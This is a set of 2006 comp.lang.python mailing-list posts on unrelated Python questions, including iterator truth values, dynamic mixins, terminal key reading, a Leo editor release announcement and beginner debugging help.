Ben Finney wrote:
> Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:
>
> > At Wednesday 25/10/2006 23:29, Paul Rubin wrote:
> > >Steve Holden <steve at holdenweb.com> writes:
> > >I get that iter(()) is True (Python 2.3.4).
> >
> > It's False on 2.4.2 - and perhaps it's what one would expect, but
> > since this behavior is not documented anywhere, one should not count
> > on it.

Good advice, because on 2.5 it's True again.


> Doesn't this fall under "any empty sequence" in the following list of
> evaluates-to-false:

Nope.  An iterator is not a sequence, and it's impossible to determine
whether an iterator is "empty" in general, except by trying to get an
item from it.  So even in 2.4.3 some "empty" iterators return True:

>>> a = []
>>> bool(x for x in a)
True

The only reasonable advice is to avoid the direct boolean test ("if
a:") altogether if you want to support iterators.

Unfortunately, iterators and lists have a lot of overlapping use, and
it's very common to test for emptiness of lists using "if a:".  If one
tries to use an iterator where a list is expected it could lead to a
silent failure.

IMO, this is big time wart in the language.  Iterators have no
calculatable truth value; for many other types a truth value doesn't
make sense (for instance: function objects, type objects, modules,
user-defined types that don't bother with __nonzero__).  Using such
objects in a boolean context is almost always an error.  Objects of
these types should raise exceptions when used as a boolen.  numpy
arrays wisely already do this.

(I'll stop short of mentioning that, because neither numpy arrays nor
iterators consider "empty" to be "false", the idea that "empty" is
"false" is very far from self-evident; therefore lists, tuples, dicts,
and sets should also raise exceptions when used as a boolean.  I won't
mention that, though.)


Carl Banks



From http  Sat Oct 14 21:00:16 2006
From: http (Paul Rubin)
Date: 14 Oct 2006 18:00:16 -0700
Subject: Need a function. Any built-in function or module for this?
References: <1160872724.767973.85150@m7g2000cwm.googlegroups.com>
Message-ID: <7x7iz2cs0v.fsf@ruckus.brouhaha.com>

"wcc" <wccppp at gmail.com> writes:
> Specify direction[Left/Right/Up/Down] or <Left>:
> 
> And if user type "L" or <ENTER>, the function will return "Left", if
> user type "R", the function will return "Right", etc..

Hmm:

def getchoice(prompt, choices, default):
   """prompt is a format string with a %s where the list of choices
should go, and another %s where the default should go;
choices is a list of choices; default is the default choice"""
   assert default in choices
   prompt %= ('/'.join(choices), default)

   while True:
     c = raw_input (prompt)
     if not c:
         return default
     a = [x for x in choices if x.startswith(c)] 
     if len(a) == 0:
       print 'Please choose one of', '/'.join(choices)
     elif len(a) > 1:
       print 'ambiguous, enter a unique prefix'
     else:
       return a[0]

def test():
   print getchoice('Specify direction %s or <%s>: ',
       ("Left","Lexy","Right","Up","Down"), "Left")

test()


From horpner at yahoo.com  Thu Oct 26 11:54:51 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 26 Oct 2006 15:54:51 GMT
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
Message-ID: <fT40h.7805$5i7.6796@newsreading01.news.tds.net>

On 2006-10-26, John Salerno <johnjsal at NOSPAMgmail.com> wrote:
> Hakusa at gmail.com wrote:
>> as I have yet to try Vim - maybe I'll try tomarrow.
>
> Warning: Vim isn't something you just "try tomorrow"  :)

You can become proficient enough for basic editing in about 20
minutes with the built-in tutorial.

Getting it to work seemlessly with Python code will take
considerably longer.

-- 
Neil Cerutti


From neoedmund at gmail.com  Mon Oct 16 02:00:45 2006
From: neoedmund at gmail.com (neoedmund)
Date: 15 Oct 2006 23:00:45 -0700
Subject: python's OOP question
In-Reply-To: <1160965550.658535.122030@i42g2000cwa.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<1160965310.124476.67550@e3g2000cwe.googlegroups.com>
	<1160965550.658535.122030@i42g2000cwa.googlegroups.com>
Message-ID: <1160978445.619273.240680@b28g2000cwb.googlegroups.com>

I found a dynamic way to inherite classes:

def MixIn(pyClass, mixInClass):
    if mixInClass not in pyClass.__bases__:
        pyClass.__bases__ += (mixInClass,)

def test1():
	o = C3()
	MixIn(C3,C1)
	MixIn(C3,C2)
	o.m()

"expected aaa"

neoedmund wrote:
> thank you, Kay.
>
> But i need a "dynamic" way. Say i have a existing class, and add some
> method from other class into it.
>
>
> Kay Schluehr wrote:
> > neoedmund wrote:
> > > There's a program, it's result is "unexpected aaa", i want it to be
> > > "expected aaa". how to make it work?
> > >
> > > [code]
> > >
> > > class C1(object):
> > > 	def v(self, o):
> > > 		return "expected "+o
> > >
> > > class C2(object):
> > > 	def v(self, o):
> > > 		return "unexpected "+o
> > > 	def m(self):
> > > 		print self.v("aaa")
> > >
> > > class C3(object):
> > > 	def nothing(self):
> > > 		pass
> > >
> > > def test1():
> > > 	o = C3()
> > > 	setattr(o,"m",C2().m)
> > > 	setattr(o,"v",C1().v)
> > > 	o.m()
> > >
> > > test1()
> > >
> > > [/code]
> >
> > class C3(C1, C2):pass
> >
> > >>> C3.mro()  # shows method resolution order
> > [<class '__main__.C3'>, <class '__main__.C1'>, <class '__main__.C2'>,
> > <type 'object'>]
> > 
> > >>> o = C3()
> > >>> o.m()
> > expected aaa



From syedamjad_a at yahoo.com  Sun Oct 29 15:28:21 2006
From: syedamjad_a at yahoo.com (CSUIDL PROGRAMMEr)
Date: 29 Oct 2006 12:28:21 -0800
Subject: looping through two list simultenously
Message-ID: <1162153701.052043.160030@h48g2000cwc.googlegroups.com>

folks
I have two lists

 i am trying to loop thorough them simultenously.

Here is the code i am using

f1 = os.popen('ls  chatlog*.out')
data1=f1.readlines()
f1.close()

data1=[x.strip() for x in data1]
f1 = os.popen('ls  chatlog*.txt')
data=f1.readlines()
f1.close()
for eachline in data1 and line in data:

    filename='/root/Desktop/project/'+ eachline
    print filename
    outfile=open(filename,'r')
    filename1='/root/Desktop/project/' + line
    print filename1

I get the error that line is not defined.
Traceback (most recent call last):
  File "list.py", line 16, in ?
    for eachline in data1 and line in data:
NameError: name 'line' is not defined

Is there any efficient doing this



From nyamatongwe+thunder at gmail.com  Mon Oct 23 19:25:47 2006
From: nyamatongwe+thunder at gmail.com (Neil Hodgson)
Date: Mon, 23 Oct 2006 23:25:47 GMT
Subject: multythreading app memory consumption
In-Reply-To: <mailman.964.1161590814.11739.python-list@python.org>
References: <mailman.952.1161559842.11739.python-list@python.org>	<lmW_g.11155$Lv3.10148@newsread1.news.pas.earthlink.net>
	<mailman.964.1161590814.11739.python-list@python.org>
Message-ID: <%bc%g.51888$rP1.42308@news-server.bigpond.net.au>

Roman Petrichev:
> Dennis Lee Bieber wrote:
>>     How much stack space gets allocated for 150 threads?
> Actually I don't know. How can I get to know this?

    On Linux, each thread will often be allocated 10 megabytes of stack. 
This can be viewed and altered with the ulimit command.

    Neil


From vatamane at gmail.com  Tue Oct 10 03:19:31 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 10 Oct 2006 00:19:31 -0700
Subject: Everything is a distributed object
References: <a7lqv3-tdd.ln1@C20.host>
Message-ID: <1160464771.653043.146600@i42g2000cwa.googlegroups.com>

See here:

http://wiki.python.org/moin/DistributedProgramming

-Nick V.

Martin Drautzburg wrote:
> Hello all,
>
> I've seen various attempts to add distributed computing capabilities on top
> of an existing language. For a true distributed system I would expect it to
> be possible to instantiate objects of a remote class or to subclass a
> remote class and other stuff like this. My impression is that those things
> are difficult when built on top of an existing language.
>
> Since the paradigm "everything is an object" pays so well, I thought it
> might be less painful to implement a distributed system from ground up,
> starting with the paradigm: "everything is a distributed object".
>
> Do you know if such a thing has been attempted with python, i.e. by hacking
> the python core and add new capabilities to "object". Or do you think that
> this is really a silly idea ?



From sybrenUSE at YOURthirdtower.com.imagination  Thu Oct 26 14:22:27 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Thu, 26 Oct 2006 20:22:27 +0200
Subject: which one of these is better?
References: <BR60h.167$1n3.4240@news.tufts.edu>
	<TT60h.168$1n3.4240@news.tufts.edu>
Message-ID: <slrnek1v73.ke0.sybrenUSE@schuimige.stuvel.eu>

John Salerno enlightened us with:
> Hmm, looks like this doesn't work anyway if open() doesn't work,
> because then f.close() raises an UnboundLocalError for obvious
> reasons.

Neither work 100% correct, actually. If the file can be located and
opened, but not read, the message

    Could not locate the file "labtables.sql" File Not Found

is plain wrong.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From http  Wed Oct 25 01:12:35 2006
From: http (Paul Rubin)
Date: 24 Oct 2006 22:12:35 -0700
Subject: Getting a lot of SPAM from this list
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>
	<7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar>
	<17725.12208.931743.88672@montanaro.dyndns.org>
	<mailman.1140.1161752151.11739.python-list@python.org>
Message-ID: <7xbqo10yik.fsf@ruckus.brouhaha.com>

"Eric S. Johansson" <esj at harvee.org> writes:
> I have a solution that has been working for me for the past three or
> four years.  I'm almost done with the next release (I pray) with a
> better installation process as well as improvements throughout the
> system.

I've given up on email pretty much.  I no longer have a public email
address of any type.  I just give out a URL (including on my resume,
business cards, etc), which leads to a HTTPS contact form.  It's been
quite reliable and I get very little spam that way.


From fredrik at pythonware.com  Fri Oct 20 05:20:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 11:20:25 +0200
Subject: Why the result
References: <1161335207.108215.104160@b28g2000cwb.googlegroups.com>
Message-ID: <eha4cp$gro$1@sea.gmane.org>

"HYRY" <zhangry at feng.co.jp> wrote:

> Why the third print stement output "'comments': [(1, 2, 3)]", I think
> it should be [].

default arguments are calculated once.  for details, see the tutorial

  http://docs.python.org/tut/node6.html#SECTION006710000000000000000

and the FAQ:

  http://pyfaq.infogami.com/why-are-default-values-shared-between-objects

and the language reference:

  http://python.org/doc/ref/function.html
  http://pyref.infogami.com/def

</F> 





From tjreedy at udel.edu  Mon Oct  2 20:26:42 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 2 Oct 2006 20:26:42 -0400
Subject: Problem with .next() method adding junk characters.
References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com><mailman.1076.1159776001.10491.python-list@python.org><xw8Ug.1381$5o5.998@tornado.texas.rr.com>
	<1159815294.457908.46190@e3g2000cwe.googlegroups.com>
Message-ID: <efsao2$naj$1@sea.gmane.org>


"Rainy" <ak at silmarill.org> wrote in message 
news:1159815294.457908.46190 at e3g2000cwe.googlegroups.com...
>
> Paul McGuire wrote:
>> I would guess then that the likely extent of any fix to this "bug" would 
>> be
>> documentation to the effect of Fredrik's last comment above.
>
> Thanks.. I get it now. Should I close the bug report then?

Either that, or change it to a doc bug and suggest the addition to the 
beginning of the second paragraph of
"When switching from reading or writing (or vice versa), call flush(), or 
the result will be undefined."

Terry Jan Reedy





From vedran_dekovic at yahoo.com  Tue Oct  3 07:59:12 2006
From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com)
Date: 3 Oct 2006 04:59:12 -0700
Subject: py_s60 HELP
Message-ID: <1159876752.839727.286960@m73g2000cwd.googlegroups.com>

Hello,
I using py_s60 for calling from my program to phone,but I have one
problem.
When I want run py_s60 with python 2.4:

FIRST ERROR:

>>> import telephone
Traceback (most recent call last):
  File "<pyshell#2>", line 1, in -toplevel-
    if e32.s60_version_info>=(3,0):
AttributeError: 'module' object has no attribute 's60_version_info'


SECOND ERROR:
>>> import telephone
Traceback (most recent call last):
  File "<pyshell#5>", line 1, in -toplevel-
    import _telephone
ImportError: No module named _telephone

...I was search everywhere for that module but I can't find it



                  THANKS FOR HELP!!!!!!!!!!!!!



From ptmcg at austin.rr._bogus_.com  Wed Oct  4 11:53:39 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 15:53:39 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <7OQUg.3208$5o5.2338@tornado.texas.rr.com>

"Jorgen Grahn" <grahn+nntp at snipabacken.dyndns.org> wrote in message 
news:slrnei7icb.gim.grahn+nntp at frailea.sa.invalid...

> - the black hole function 'def f(*args): pass'
> - the identity function 'def f(x): return x'
>
Also not so farfetched.

See the disable and enable decorators at 
http://wiki.python.org/moin/PythonDecoratorLibrary#head-8298dbf9ac7325d9ef15e7130e676378bbbda572.

-- Paul




From hanumizzle at gmail.com  Tue Oct 17 03:57:38 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 17 Oct 2006 03:57:38 -0400
Subject: How to paras such echo string effection?
In-Reply-To: <eh227r$9nr$2@sea.gmane.org>
References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com>
	<eh227r$9nr$2@sea.gmane.org>
Message-ID: <463ff4860610170057l12462864n12d9819ec0b9e979@mail.gmail.com>

On 10/17/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Kevien Lee wrote:
>
> > PS:is there any python lib for CVS ?
>
> there's some stuff in Demo/pdist in the Python source distribution,
> including a module called "cvslib".

then I stand corrected...

-- Theerasak


From Roka100 at gmail.com  Fri Oct  6 00:45:47 2006
From: Roka100 at gmail.com (Jia,Lu)
Date: 5 Oct 2006 21:45:47 -0700
Subject: [Linux] Detect a key press
Message-ID: <1160109947.304308.83910@i3g2000cwc.googlegroups.com>

Hi all
  I write a program to detect key press,but , why there is a *space*
before the character I typed.??

#!/usr/bin/env python

import sys
import tty
import termios

i = sys.stdin.fileno()
o = sys.stdout.fileno()

backup = termios.tcgetattr(i)

def loop():
	while 1:
		ch = sys.stdin.read(1)
		print "->%s"%ch
		if ch == 'q':break

try:
	tty.setraw(i)
	loop()
finally:
	termios.tcsetattr(i, termios.TCSADRAIN, backup)



From edreamleo at charter.net  Sun Oct 29 10:05:57 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Sun, 29 Oct 2006 09:05:57 -0600
Subject: ANN: Leo 4.4.2.1 final released
Message-ID: <ur31h.321$XF5.101@newsfe06.lga>

Leo 4.4.2.1 final is now available at:
http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106

Leo 4.4.2.1 final fixes a recent bug that caused Leo not to create the
.leoRecentFiles.txt file properly in some situations. There are no known
significant bugs in this version of Leo.

Leo 4.4.2 final fixes a few bugs and adds support for pymacs.

Leo is a text editor, data organizer, project manager and much more. See:
http://webpages.charter.net/edreamleo/intro.html

The highlights of Leo 4.4.2:
----------------------------
- You can now store settings in myLeoSettings.leo without fear of those 
settings
  being changed by cvs updates or in future versions of Leo.
- Leo's vnode and tnode classes are now completely independent of the rest 
of Leo.
  Some api's have been changed.  This 'big reorg' and may affect scripts and 
plugins.
- Leo's vnode and tnode classes can optionally be compatible with ZODB 
databases,
  i.e., they can optionally derive from ZODB.Persistence.Persistent.
  See Chapter 17: Using ZODB with Leo for details.
- The leoOPML plugin defines commands to read and write OPML files.
- The slideshow plugin allows Leo to run slideshows defined by @slideshow 
and @slide nodes.
- The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo 
outlines.
- Much faster navigation through the outline.
- When focus is in the outline pane, you can move to headlines by typing the 
first letter of headlines.
- The find command now optionally closes nodes not needed to show the node 
containing the present match.
- Numerous changes that make Leo easier to use without using a mouse, 
including new commands and options.
- Many new minibuffer commands now appear in the Cmds menu.
- A sax parser can now optionally read .leo files.

Links:
------
Leo:        http://webpages.charter.net/edreamleo/front.html
What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html
Home:       http://sourceforge.net/projects/leo/
Download:   http://sourceforge.net/project/showfiles.php?group_id=3458
CVS:        http://leo.tigris.org/source/browse/leo/
Leo's Wiki: http://leo.zwiki.org/FrontPage
Wikipedia:  http://en.wikipedia.org/wiki/Leo_%28text_editor%29
Quotes:     http://webpages.charter.net/edreamleo/testimonials.html

--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From joncle at googlemail.com  Wed Oct 25 05:17:48 2006
From: joncle at googlemail.com (Jon Clements)
Date: 25 Oct 2006 02:17:48 -0700
Subject: dict problem
In-Reply-To: <mailman.1156.1161765994.11739.python-list@python.org>
References: <mailman.1156.1161765994.11739.python-list@python.org>
Message-ID: <1161767868.192915.276830@k70g2000cwa.googlegroups.com>


Alistair King wrote:

> Hi,
>
> ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error:
>
>
> Traceback (most recent call last):
>   File "DS1excessH2O.py", line 242, in ?
>     updateDS1v(FCas, C, XDS)
> NameError: name 'C' is not defined
>
> dictionary is:
>
> DS1v = {'C': 6, 'H': 10, 'O': 5}
>
>
>
> #'Fxas' in each case will be integers but 'atoms' should be a float
>
> def updateDS1v(Fxas, x, XDS):
>     while Fxas != 0:
>         atoms = DS1v.get('x') + Fxas*XDS
>         DS1v[x] = atoms
>
> updateDS1v(FCas, C, XDS)
> updateDS1v(FHas, H, XDS)
> updateDS1v(FOas, O, XDS)
> updateDS1v(FNas, N, XDS)
> updateDS1v(FSas, S, XDS)
> updateDS1v(FClas, Cl, XDS)
> updateDS1v(FBras, Br, XDS)
> updateDS1v(FZnas, Zn, XDS)
> print DS1v
>
> I know there is probably a simple solution but im quite new to python and am lost?
>

I strongly suggest reading through the tutorial.

I don't think there's enough code here for anyone to check it properly.
For instance, it looks like FCas exists somewhere as it's barfing on
trying to find C. Where is XDS defined etc...?

I can't see updateDS1v() ever completing: any Fxas passed in not equal
to 0 will repeat indefinately.

I'm guessing unless C is meant to be a variable, you mean to pass in
the string 'C'.

A dictionary already has it's own update method....

Perhaps if you explain what you're trying to do in plain English, we
could give you some pointers.

Jon.



From schliep at molgen.mpg.de  Wed Oct 11 04:09:28 2006
From: schliep at molgen.mpg.de (Alexander Schliep)
Date: Wed, 11 Oct 2006 10:09:28 +0200
Subject: Tkinter: populating Mac Help menu?
References: <6nMWg.64$ra5.26@newsfe05.lga>
Message-ID: <tscmz831dfr.fsf@karlin.molgen.mpg.de>

"Edward K. Ream" <edreamleo at charter.net> writes:
> Creating a 'Help' menu 'by hand' on the Mac does not work, or
> rather, it creates a *second* Help menu.

Presuming you are talking about MacOS X, it doesn't for me. 
See Gato from http://gato.sourceforge.net/Download/

The menu code is at <http://svn.sourceforge.net/viewvc/gato/
trunk/Gato/Gato.py?revision=275&view=markup>

Alexander

--
Alexander Schliep  schliep at molgen.mpg.de http://algorithmics.molgen.mpg.de


From onurb at xiludom.gro  Thu Oct 12 04:57:47 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 12 Oct 2006 10:57:47 +0200
Subject: is there an easy way to create a database on the fly and let
	the user input values
In-Reply-To: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com>
Message-ID: <452e038c$0$8601$426a74cc@news.free.fr>

Eric_Dexter at msn.com wrote:
>      I don't realy care what database I use wx.grid or whatever.  I
> wan't it to look at a line
> 
> 128 9023 23428 exc and create the database or pick something out of the
> file as  some sort of a descrition line and then display and allow the
> user to change and add new lines.  What is the easiest set of database
> routines to use for such a project???

I'd go for something like SQLite or Gadfly - or even the standard CSV
module if there are no need for a relational model.

> http://www.dexrow.com
> 


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From fredrik at pythonware.com  Wed Oct 25 02:03:45 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 08:03:45 +0200
Subject: Sorting by item_in_another_list
In-Reply-To: <2773CAC687FD5F4689F526998C7E4E5FF1EAFB@au3010avexu1.global.avaya.com>
References: <2773CAC687FD5F4689F526998C7E4E5FF1EAFB@au3010avexu1.global.avaya.com>
Message-ID: <ehmuo1$h34$1@sea.gmane.org>

Delaney, Timothy (Tim) wrote:

> That says pretty strongly to me that it's part of the language
> specification. And I'm pretty sure Guido said as much when he
> pronounced.

oops.  I'll blame it all on google's ability to bring up the wrong page 
on python.org when you do a quick google.

guess I should have looked at the wiki version instead:

     http://pyref.infogami.com/list.sort

which doesn't even bother to hide it in a footnote.

</F>



From nairarunv at gmail.com  Thu Oct 26 07:47:55 2006
From: nairarunv at gmail.com (Arun Nair)
Date: 26 Oct 2006 04:47:55 -0700
Subject: Error to be resolved
In-Reply-To: <mailman.1265.1161862452.11739.python-list@python.org>
References: <1161861560.979401.29710@m73g2000cwd.googlegroups.com>
	<mailman.1265.1161862452.11739.python-list@python.org>
Message-ID: <1161863275.157847.317680@b28g2000cwb.googlegroups.com>

These is the latest with the changes made:
=============================================================================================
from random import *
from string import *
class Card:

    def __init__(self, suit, rank):
        self.suit = suit
        self.rank = rank
        self.suit = ["None","Clubs","Diamonds","Hearts","Spades"]
        self.rank = ["zero", "Ace", "2", "3", "4", "5", "6", "7", "8",
"9", "10", "Jack", "Queen", "King"]
        self.BJ = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]

    def getRank(self):
        return self.rank

    def getSuit(self):
        return self.suit

    def BJValue(self):
        return self.BJ

    def __str__(self):
        '''return " %s of %s(%s)" % (self.rank[self.rank],
self.suit[self.suit], self.BJ[self.rank])'''
        return self.rank + " of " + self.suit

def main():
    n = input("How many cards do you want to draw from the deck?")
    for i in range(n):
        a = randrange(1,13)
        b = randrange(1,4)
        c = Card(a,b)
        print c

main()
===============================================================================================
Still get an error:
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>> Traceback (most recent call last):
  File
"C:\Python24\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py",
line 310, in RunScript
    exec codeObject in __main__.__dict__
  File "D:\Charles Sturt University\ITC106
200670\Assignment2\A2_3.1.py", line 33, in ?
    main()
  File "D:\Charles Sturt University\ITC106
200670\Assignment2\A2_3.1.py", line 31, in main
    print c
  File "D:\Charles Sturt University\ITC106
200670\Assignment2\A2_3.1.py", line 23, in __str__
    return self.rank + " of " + self.suit
TypeError: can only concatenate list (not "str") to list
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>



From steve at holdenweb.com  Thu Oct 12 09:54:26 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 12 Oct 2006 14:54:26 +0100
Subject: Click and Drag Functionality in Web Apps with Python
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A06159B@mailbe01.teak.local.net>
References: <3ACF03E372996C4EACD542EA8A05E66A06159B@mailbe01.teak.local.net>
Message-ID: <eglhcp$itp$1@sea.gmane.org>

Wijaya Edward wrote:
> Hi,
>  
> Some recent webapps like Kiko <http://www.kiko.com/> , Google's gadget <http://www.google.com/ig/directory?hl=en> , and spreadsheets <http://spreadsheets.google.com>  to name a few, 
> have this functionality. 
> 
> I wonder how can this funcitonalities be implemented in Python. 
> Do you guys have any experience with it?
> Any Python module that support that?
>  
> Regards,
> Edward WIJAYA
> SINGAPOE
> 

In order for your request to make sense Python would have to be 
available as a browser programming language. This has been done (by Mark 
Hammond as part of the win32all extensions), but for security reasons it 
is no longer installed by default, and it's not sufficiently widespread 
to make such solutions really worthwhile.

If you are talking about web servers *delivering* such interactive code, 
then there is no inherent difference between Python and other web 
servers - they just deliver the interactive code to the browser. Bob 
Ippolito's MochiKit is quite Pythonic in nature.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From fredrik at pythonware.com  Sun Oct  1 04:20:13 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 01 Oct 2006 10:20:13 +0200
Subject: AN Intorduction to Tkinter
In-Reply-To: <1159672543.243321.18760@b28g2000cwb.googlegroups.com>
References: <1159303606.988830.54800@e3g2000cwe.googlegroups.com>	<451A314F.3060703@isy.liu.se>	<mailman.815.1159378067.10491.python-list@python.org>	<1159395485.824735.319090@b28g2000cwb.googlegroups.com>	<1159419097.556600.160750@k70g2000cwa.googlegroups.com>	<1159488825.144496.86610@c28g2000cwb.googlegroups.com>	<mailman.917.1159509227.10491.python-list@python.org>
	<1159672543.243321.18760@b28g2000cwb.googlegroups.com>
Message-ID: <efnto0$ufl$1@sea.gmane.org>

flyingisfun1217 at gmail.com wrote:

> As far as I can tell, its not anything to do with your code. I think
> its something with tkinter modules.

as in ?

you've posted five posts to this thread, but you still haven't provided 
us with more clues than "I noticed they didn't work" and "I think it's 
something with some module".  don't you think it would be easier to help 
you if you actually explained what you did, what you expected to happen, 
and what happened instead ?

</F>



From spitfire2525 at yahoo.com  Tue Oct  3 04:44:01 2006
From: spitfire2525 at yahoo.com (=?ISO-8859-1?Q?Peter_Ilgensch=FCtz?=)
Date: Tue, 03 Oct 2006 10:44:01 +0200
Subject: Simple but fast 2D lib for drawing pixels
In-Reply-To: <FAB20C83-99C7-4723-A006-4B4EC1572A18@mac.com>
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
	<1hmhych.1jaomee1msbzi8N%aleax@mac.com>
	<1159706488.576589.82080@i3g2000cwc.googlegroups.com>
	<4520408d$0$26622$91cee783@newsreader01.highway.telekom.at>
	<FAB20C83-99C7-4723-A006-4B4EC1572A18@mac.com>
Message-ID: <452222D1.9030006@yahoo.com>

Thanks Dave for this tip, this is excellent, exactly what I have been
looking for!
I'm using it already :-)

Kind Regards,
Peter

davelist at mac.com wrote:
>
> On Oct 1, 2006, at 6:28 PM, Peter Mexbacher wrote:
>
>> Hello,
>>
>> we want to teach absolute programming newbies
>> a first language, so they can start programming
>> simple scientific models.
>>
>> We thought Python would make a good choice for
>> a first language; but where pretty stumped when
>> we found out that there is no simple way to draw
>> pixels to a screen. (This is needed for fractals,
>> agent-based models etc -> like Conways Game of Life)
>>
>> Our requirements:
>>
>> -) easy to learn (newbs!)
>> -) not too slow (after all, the models should simulate something)
>> -) python :-)
>>
>> Any ideas?
>>
>> Best Regards,
>> Peter
>
>
> You might check out John Zelle's Python book - he uses a simple
> graphics library on top of Tk (which Python comes with). You can find
> information on his book and the graphics.py file he uses at:
>
> http://mcsp.wartburg.edu/zelle/python/
>
> It certainly meets your easy to learn and Python requirements - and of
> course speed is subjective so it may or may not be fast enough for you.
>
> Dave
>
>
>
>
>



From martin at v.loewis.de  Mon Oct 23 18:56:15 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 00:56:15 +0200
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <ehjah5$bfm$1@news.albasani.net>
References: <mailman.813.1161325547.11739.python-list@python.org>	<ehffhc$r05$1@news.albasani.net>
	<mailman.997.1161629341.11739.python-list@python.org>
	<ehjah5$bfm$1@news.albasani.net>
Message-ID: <453d4890$0$22566$9b622d9e@news.freenet.de>

Georg Brandl schrieb:
> Perhaps you can bring up a discussion on python-dev about your improvements
> and how they could be integrated into the standard library...

Let me second this. The compiler package is largely unmaintained and
was known to be broken (and perhaps still is). A replacement
implementation, especially if it comes with a new maintainer, would
be welcome.

Regards,
Martin


From osv at javad.com  Wed Oct 25 05:14:01 2006
From: osv at javad.com (Sergei Organov)
Date: Wed, 25 Oct 2006 13:14:01 +0400
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
	<ehlbvm$rg9$1@sea.gmane.org> <ehld8u$68u$1@sea.gmane.org>
	<ehlga7$kkq$1@sea.gmane.org>
	<2f334ccd0610241237q430e6199g1f10daf7421fd7f5@mail.gmail.com>
Message-ID: <ehn9td$h2b$1@sea.gmane.org>

"Filip Salomonsson" <filip.salomonsson at gmail.com> writes:
> On 10/24/06, Sergei Organov <osv at javad.com> wrote:
>> I'd be very upset to see, say, 5-6 highly intersecting
>> scientific plots on the same picture drawn using the
>> "marching ants" approach.
>
> I'd be a bit upset to see scientific plots *on a picture* at all,
> regardless of approach.

Sorry, probably I just wrongly used the word "picture" here, I didn't
mean to mean something like "photo". Maybe "canvas" should have been a
better word.

-- Sergei.



From jpd at whispertel.LoseTheH.net  Thu Oct 12 15:29:43 2006
From: jpd at whispertel.LoseTheH.net (John Doty)
Date: Thu, 12 Oct 2006 13:29:43 -0600
Subject: Standard Forth versus Python: a case study
In-Reply-To: <1160678984.834805.114550@h48g2000cwc.googlegroups.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<1160678984.834805.114550@h48g2000cwc.googlegroups.com>
Message-ID: <OfKdnZA3OLQ2CrPYnZ2dnUVZ_u-dnZ2d@wispertel.com>

Juho Schultz wrote:
> John Doty wrote:
> 
>> The problem:
>>
>> I have a bunch of image files in FITS format. For each raster row in
>> each file, I need to determine the median pixel value and subtract it
>> from all of the pixels in that row, and then write out the results as
>> new FITS files.
>>
> 
> This may be personal bias... I have spent a few years with FITS files
> so every time I see 'FITS' I think 'astronomy' - maybe you are doing
> something else. (Someone wrote he does not know what FITS is - see
> fits.gsfc.nasa.gov In a nutshell: FITS file is a list of header-data
> units. Each header is text containing optional keyword-value pairs and
